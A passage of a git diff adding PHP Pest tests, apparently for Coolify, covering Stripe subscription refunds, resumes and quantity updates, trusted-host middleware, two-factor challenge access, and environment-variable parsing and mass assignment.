+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(35)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('30-day refund window');
+ });
+});
diff --git a/tests/Feature/Subscription/ResumeSubscriptionTest.php b/tests/Feature/Subscription/ResumeSubscriptionTest.php
new file mode 100644
index 000000000..8632a4c07
--- /dev/null
+++ b/tests/Feature/Subscription/ResumeSubscriptionTest.php
@@ -0,0 +1,85 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_789',
+ 'stripe_customer_id' => 'cus_test_789',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_789',
+ 'stripe_cancel_at_period_end' => true,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+});
+
+describe('ResumeSubscription', function () {
+ test('resumes subscription successfully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_789', ['cancel_at_period_end' => false])
+ ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => false]);
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_cancel_at_period_end)->toBeFalsy();
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No active subscription');
+ });
+
+ test('fails when subscription is not set to cancel', function () {
+ $this->subscription->update(['stripe_cancel_at_period_end' => false]);
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('not set to cancel');
+ });
+
+ test('handles stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Stripe error');
+ });
+});
diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php
new file mode 100644
index 000000000..3e13170f0
--- /dev/null
+++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php
@@ -0,0 +1,375 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_qty',
+ 'stripe_customer_id' => 'cus_test_qty',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_qty',
+ 'stripe_cancel_at_period_end' => false,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockInvoices = Mockery::mock(InvoiceService::class);
+ $this->mockTaxRates = Mockery::mock(TaxRateService::class);
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+ $this->mockStripe->invoices = $this->mockInvoices;
+ $this->mockStripe->taxRates = $this->mockTaxRates;
+
+ $this->stripeSubscriptionResponse = (object) [
+ 'items' => (object) [
+ 'data' => [(object) [
+ 'id' => 'si_item_123',
+ 'quantity' => 2,
+ 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'],
+ ]],
+ ],
+ ];
+});
+
+describe('UpdateSubscriptionQuantity::execute', function () {
+ test('updates quantity successfully', function () {
+ Queue::fake();
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_qty', [
+ 'items' => [
+ ['id' => 'si_item_123', 'quantity' => 5],
+ ],
+ 'proration_behavior' => 'always_invoice',
+ 'expand' => ['latest_invoice'],
+ ])
+ ->andReturn((object) [
+ 'status' => 'active',
+ 'latest_invoice' => (object) ['status' => 'paid'],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->team->refresh();
+ expect($this->team->custom_server_limit)->toBe(5);
+
+ Queue::assertPushed(ServerLimitCheckJob::class, function ($job) {
+ return $job->team->id === $this->team->id;
+ });
+ });
+
+ test('reverts subscription and voids invoice when payment fails', function () {
+ Queue::fake();
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ // First update: changes quantity but payment fails
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_qty', [
+ 'items' => [
+ ['id' => 'si_item_123', 'quantity' => 5],
+ ],
+ 'proration_behavior' => 'always_invoice',
+ 'expand' => ['latest_invoice'],
+ ])
+ ->andReturn((object) [
+ 'status' => 'active',
+ 'latest_invoice' => (object) ['id' => 'in_failed_123', 'status' => 'open'],
+ ]);
+
+ // Revert: restores original quantity
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_qty', [
+ 'items' => [
+ ['id' => 'si_item_123', 'quantity' => 2],
+ ],
+ 'proration_behavior' => 'none',
+ ])
+ ->andReturn((object) ['status' => 'active']);
+
+ // Void the unpaid invoice
+ $this->mockInvoices
+ ->shouldReceive('voidInvoice')
+ ->with('in_failed_123')
+ ->once();
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Payment failed');
+
+ $this->team->refresh();
+ expect($this->team->custom_server_limit)->not->toBe(5);
+
+ Queue::assertNotPushed(ServerLimitCheckJob::class);
+ });
+
+ test('rejects quantity below minimum of 2', function () {
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 1);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Minimum server limit is 2');
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No active subscription');
+ });
+
+ test('fails when subscription is not active', function () {
+ $this->subscription->update(['stripe_invoice_paid' => false]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('not active');
+ });
+
+ test('fails when subscription item cannot be found', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn((object) [
+ 'items' => (object) ['data' => []],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Could not find subscription item');
+ });
+
+ test('handles stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Stripe error');
+ });
+
+ test('handles generic exception gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->andThrow(new \RuntimeException('Network error'));
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('unexpected error');
+ });
+});
+
+describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
+ test('returns full preview with proration and recurring cost with tax', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ $this->mockInvoices
+ ->shouldReceive('upcoming')
+ ->with([
+ 'customer' => 'cus_test_qty',
+ 'subscription' => 'sub_test_qty',
+ 'subscription_items' => [
+ ['id' => 'si_item_123', 'quantity' => 3],
+ ],
+ 'subscription_proration_behavior' => 'create_prorations',
+ ])
+ ->andReturn((object) [
+ 'amount_due' => 2540,
+ 'total' => 2540,
+ 'subtotal' => 2000,
+ 'tax' => 540,
+ 'currency' => 'usd',
+ 'lines' => (object) [
+ 'data' => [
+ (object) ['amount' => -300, 'proration' => true], // credit for unused
+ (object) ['amount' => 800, 'proration' => true], // charge for new qty
+ (object) ['amount' => 1500, 'proration' => false], // next cycle
+ ],
+ ],
+ 'total_tax_amounts' => [
+ (object) ['tax_rate' => 'txr_123'],
+ ],
+ ]);
+
+ $this->mockTaxRates
+ ->shouldReceive('retrieve')
+ ->with('txr_123')
+ ->andReturn((object) [
+ 'display_name' => 'VAT',
+ 'jurisdiction' => 'HU',
+ 'percentage' => 27,
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 3);
+
+ expect($result['success'])->toBeTrue();
+ // Due now: invoice total (2540) - recurring total (1905) = 635
+ expect($result['preview']['due_now'])->toBe(635);
+ // Recurring: 3 × $5.00 = $15.00
+ expect($result['preview']['recurring_subtotal'])->toBe(1500);
+ // Tax: $15.00 × 27% = $4.05
+ expect($result['preview']['recurring_tax'])->toBe(405);
+ // Total: $15.00 + $4.05 = $19.05
+ expect($result['preview']['recurring_total'])->toBe(1905);
+ expect($result['preview']['unit_price'])->toBe(500);
+ expect($result['preview']['tax_description'])->toContain('VAT');
+ expect($result['preview']['tax_description'])->toContain('27%');
+ expect($result['preview']['quantity'])->toBe(3);
+ expect($result['preview']['currency'])->toBe('USD');
+ });
+
+ test('returns preview without tax when no tax applies', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ $this->mockInvoices
+ ->shouldReceive('upcoming')
+ ->andReturn((object) [
+ 'amount_due' => 1250,
+ 'total' => 1250,
+ 'subtotal' => 1250,
+ 'tax' => 0,
+ 'currency' => 'usd',
+ 'lines' => (object) [
+ 'data' => [
+ (object) ['amount' => 250, 'proration' => true], // proration charge
+ (object) ['amount' => 1000, 'proration' => false], // next cycle
+ ],
+ ],
+ 'total_tax_amounts' => [],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 2);
+
+ expect($result['success'])->toBeTrue();
+ // Due now: invoice total (1250) - recurring total (1000) = 250
+ expect($result['preview']['due_now'])->toBe(250);
+ // 2 × $5.00 = $10.00, no tax
+ expect($result['preview']['recurring_subtotal'])->toBe(1000);
+ expect($result['preview']['recurring_tax'])->toBe(0);
+ expect($result['preview']['recurring_total'])->toBe(1000);
+ expect($result['preview']['tax_description'])->toBeNull();
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['preview'])->toBeNull();
+ });
+
+ test('fails when subscription item not found', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn((object) [
+ 'items' => (object) ['data' => []],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Could not retrieve subscription details');
+ });
+
+ test('handles Stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->andThrow(new \RuntimeException('API error'));
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Could not load price preview');
+ expect($result['preview'])->toBeNull();
+ });
+});
+
+describe('Subscription billingInterval', function () {
+ test('returns monthly for monthly plan', function () {
+ config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly_123');
+
+ $this->subscription->update(['stripe_plan_id' => 'price_monthly_123']);
+ $this->subscription->refresh();
+
+ expect($this->subscription->billingInterval())->toBe('monthly');
+ });
+
+ test('returns yearly for yearly plan', function () {
+ config()->set('subscription.stripe_price_id_dynamic_yearly', 'price_yearly_123');
+
+ $this->subscription->update(['stripe_plan_id' => 'price_yearly_123']);
+ $this->subscription->refresh();
+
+ expect($this->subscription->billingInterval())->toBe('yearly');
+ });
+
+ test('defaults to monthly when plan id is null', function () {
+ $this->subscription->update(['stripe_plan_id' => null]);
+ $this->subscription->refresh();
+
+ expect($this->subscription->billingInterval())->toBe('monthly');
+ });
+});
diff --git a/tests/Feature/TeamNotificationCheckTest.php b/tests/Feature/TeamNotificationCheckTest.php
new file mode 100644
index 000000000..2a39b020e
--- /dev/null
+++ b/tests/Feature/TeamNotificationCheckTest.php
@@ -0,0 +1,52 @@
+team = Team::factory()->create();
+});
+
+describe('isAnyNotificationEnabled', function () {
+ test('returns false when no notifications are enabled', function () {
+ expect($this->team->isAnyNotificationEnabled())->toBeFalse();
+ });
+
+ test('returns true when email notifications are enabled', function () {
+ $this->team->emailNotificationSettings->update(['smtp_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when discord notifications are enabled', function () {
+ $this->team->discordNotificationSettings->update(['discord_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when slack notifications are enabled', function () {
+ $this->team->slackNotificationSettings->update(['slack_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when telegram notifications are enabled', function () {
+ $this->team->telegramNotificationSettings->update(['telegram_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when pushover notifications are enabled', function () {
+ $this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when webhook notifications are enabled', function () {
+ $this->team->webhookNotificationSettings->update(['webhook_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+});
diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php
index b745259fe..5c60b30d6 100644
--- a/tests/Feature/TrustHostsMiddlewareTest.php
+++ b/tests/Feature/TrustHostsMiddlewareTest.php
@@ -286,6 +286,56 @@
expect($response->status())->not->toBe(400);
});
+it('trusts localhost when FQDN is configured', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $middleware = new TrustHosts($this->app);
+ $hosts = $middleware->hosts();
+
+ expect($hosts)->toContain('localhost');
+});
+
+it('trusts 127.0.0.1 when FQDN is configured', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $middleware = new TrustHosts($this->app);
+ $hosts = $middleware->hosts();
+
+ expect($hosts)->toContain('127.0.0.1');
+});
+
+it('trusts IPv6 loopback when FQDN is configured', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $middleware = new TrustHosts($this->app);
+ $hosts = $middleware->hosts();
+
+ expect($hosts)->toContain('[::1]');
+});
+
+it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $response = $this->get('/', [
+ 'Host' => 'localhost',
+ ]);
+
+ // Should NOT be rejected as untrusted host (would be 400)
+ expect($response->status())->not->toBe(400);
+});
+
it('skips host validation for webhook endpoints', function () {
// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)
// and use cryptographic signature validation instead of host validation
diff --git a/tests/Feature/TwoFactorChallengeAccessTest.php b/tests/Feature/TwoFactorChallengeAccessTest.php
new file mode 100644
index 000000000..2bd58d197
--- /dev/null
+++ b/tests/Feature/TwoFactorChallengeAccessTest.php
@@ -0,0 +1,65 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->personal()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+ session(['currentTeam' => $this->team]);
+});
+
+it('allows unauthenticated access to two-factor-challenge page', function () {
+ $response = $this->get('/two-factor-challenge');
+
+ // Fortify returns a redirect to /login if there's no login.id in session,
+ // but the important thing is it does NOT return a 419 or 500
+ expect($response->status())->toBeIn([200, 302]);
+});
+
+it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
+ $paths = allowedPathsForUnsubscribedAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
+ $paths = allowedPathsForInvalidAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
+ $paths = allowedPathsForBoardingAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
+ $this->user->update(['force_password_reset' => true]);
+
+ $response = $this->actingAs($this->user)->get('/two-factor-challenge');
+
+ // Should NOT redirect to force-password-reset page
+ if ($response->isRedirect()) {
+ expect($response->headers->get('Location'))->not->toContain('force-password-reset');
+ }
+});
+
+it('renders 419 error page with login link instead of previous url', function () {
+ $response = $this->get('/two-factor-challenge', [
+ 'X-CSRF-TOKEN' => 'invalid-token',
+ ]);
+
+ // The 419 page should exist and contain a link to /login
+ $view = view('errors.419')->render();
+
+ expect($view)->toContain('/login');
+ expect($view)->toContain('Back to Login');
+ expect($view)->toContain('This page is definitely old, not like you!');
+ expect($view)->not->toContain('url()->previous()');
+});
diff --git a/tests/Pest.php b/tests/Pest.php
index 619dea153..cec77b86f 100644
--- a/tests/Pest.php
+++ b/tests/Pest.php
@@ -13,7 +13,7 @@
| need to change it using the "uses()" function to bind a different classes or traits.
|
*/
-uses(Tests\TestCase::class)->in('Feature');
+uses(Tests\TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser');
/*
|--------------------------------------------------------------------------
diff --git a/tests/Unit/ApplicationComposeEditorLoadTest.php b/tests/Unit/ApplicationComposeEditorLoadTest.php
index c0c8660e1..305bc72a2 100644
--- a/tests/Unit/ApplicationComposeEditorLoadTest.php
+++ b/tests/Unit/ApplicationComposeEditorLoadTest.php
@@ -3,7 +3,6 @@
use App\Models\Application;
use App\Models\Server;
use App\Models\StandaloneDocker;
-use Mockery;
/**
* Unit test to verify docker_compose_raw is properly synced to the Livewire component
diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php
new file mode 100644
index 000000000..d240181f1
--- /dev/null
+++ b/tests/Unit/ApplicationDeploymentTypeTest.php
@@ -0,0 +1,11 @@
+private_key_id = 0;
+ $application->source = null;
+
+ expect($application->deploymentType())->toBe('deploy_key');
+});
diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php
index 1babdcf49..241364a93 100644
--- a/tests/Unit/ApplicationPortDetectionTest.php
+++ b/tests/Unit/ApplicationPortDetectionTest.php
@@ -11,7 +11,6 @@
use App\Models\Application;
use App\Models\EnvironmentVariable;
use Illuminate\Support\Collection;
-use Mockery;
beforeEach(function () {
// Clean up Mockery after each test
diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php
index b38a6aa8e..0b33db470 100644
--- a/tests/Unit/ContainerHealthStatusTest.php
+++ b/tests/Unit/ContainerHealthStatusTest.php
@@ -1,7 +1,6 @@
getFillable();
+
+ // Core identification
+ expect($fillable)->toContain('key')
+ ->toContain('value')
+ ->toContain('comment');
+
+ // Polymorphic relationship
+ expect($fillable)->toContain('resourceable_type')
+ ->toContain('resourceable_id');
+
+ // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls
+ expect($fillable)->toContain('is_preview')
+ ->toContain('is_multiline')
+ ->toContain('is_literal')
+ ->toContain('is_runtime')
+ ->toContain('is_buildtime')
+ ->toContain('is_shown_once')
+ ->toContain('is_shared')
+ ->toContain('is_required');
+
+ // Metadata
+ expect($fillable)->toContain('version')
+ ->toContain('order');
+});
+
+test('is_required can be mass assigned', function () {
+ $model = new EnvironmentVariable;
+ $model->fill(['is_required' => true]);
+
+ expect($model->is_required)->toBeTrue();
+});
+
+test('all boolean flags can be mass assigned', function () {
+ $booleanFlags = [
+ 'is_preview',
+ 'is_multiline',
+ 'is_literal',
+ 'is_runtime',
+ 'is_buildtime',
+ 'is_shown_once',
+ 'is_required',
+ ];
+
+ $model = new EnvironmentVariable;
+ $model->fill(array_fill_keys($booleanFlags, true));
+
+ foreach ($booleanFlags as $flag) {
+ expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true");
+ }
+
+ // is_shared has a computed getter derived from the value field,
+ // so verify it's fillable via the underlying attributes instead
+ $model2 = new EnvironmentVariable;
+ $model2->fill(['is_shared' => true]);
+ expect($model2->getAttributes())->toHaveKey('is_shared');
+});
+
+test('non-fillable fields are rejected by mass assignment', function () {
+ $model = new EnvironmentVariable;
+ $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']);
+
+ expect($model->id)->toBeNull()
+ ->and($model->uuid)->toBeNull()
+ ->and($model->created_at)->toBeNull();
+});
diff --git a/tests/Unit/EnvironmentVariableMagicVariableTest.php b/tests/Unit/EnvironmentVariableMagicVariableTest.php
new file mode 100644
index 000000000..ae85ba45f
--- /dev/null
+++ b/tests/Unit/EnvironmentVariableMagicVariableTest.php
@@ -0,0 +1,141 @@
+shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_FQDN_DB');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('SERVICE_URL variables are identified as magic variables', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_URL_API');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('SERVICE_NAME variables are identified as magic variables', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_NAME');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('regular variables are not magic variables', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('DATABASE_URL');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeFalse();
+ expect($component->isDisabled)->toBeFalse();
+});
+
+test('locked variables are not magic variables unless they start with SERVICE_', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SECRET_KEY');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(true);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeFalse();
+ expect($component->isLocked)->toBeTrue();
+});
+
+test('SERVICE_FQDN with port suffix is identified as magic variable', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_FQDN_DB_5432');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('SERVICE_URL with port suffix is identified as magic variable', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_URL_API_8080');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
diff --git a/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php
new file mode 100644
index 000000000..a52d7dba5
--- /dev/null
+++ b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php
@@ -0,0 +1,351 @@
+toBe('');
+});
+
+test('splitOnOperatorOutsideNested handles empty variable name with default', function () {
+ $split = splitOnOperatorOutsideNested(':-default');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('default');
+});
+
+test('extractBalancedBraceContent handles double opening brace', function () {
+ $result = extractBalancedBraceContent('${{VAR}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('{VAR}');
+});
+
+test('extractBalancedBraceContent returns null for empty string', function () {
+ $result = extractBalancedBraceContent('', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for just dollar sign', function () {
+ $result = extractBalancedBraceContent('$', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for just opening brace', function () {
+ $result = extractBalancedBraceContent('{', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for just closing brace', function () {
+ $result = extractBalancedBraceContent('}', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent handles extra closing brace', function () {
+ $result = extractBalancedBraceContent('${VAR}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR');
+});
+
+test('extractBalancedBraceContent returns null for unclosed with no content', function () {
+ $result = extractBalancedBraceContent('${', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () {
+ $result = extractBalancedBraceContent('${A:-${B:-${C}', 0);
+
+ assertNull($result);
+});
+
+test('replaceVariables handles empty braces gracefully', function () {
+ $result = replaceVariables('${}');
+
+ expect($result->value())->toBe('');
+});
+
+test('replaceVariables handles double braces gracefully', function () {
+ $result = replaceVariables('${{VAR}}');
+
+ expect($result->value())->toBe('{VAR}');
+});
+
+// ─── Edge Cases with Braces and Special Characters ─────────────────────────────
+
+test('extractBalancedBraceContent finds consecutive variables', function () {
+ $str = '${A}${B}';
+
+ $first = extractBalancedBraceContent($str, 0);
+ assertNotNull($first);
+ expect($first['content'])->toBe('A');
+
+ $second = extractBalancedBraceContent($str, $first['end'] + 1);
+ assertNotNull($second);
+ expect($second['content'])->toBe('B');
+});
+
+test('splitOnOperatorOutsideNested handles URL with port in default', function () {
+ $split = splitOnOperatorOutsideNested('URL:-http://host:8080/path');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('http://host:8080/path');
+});
+
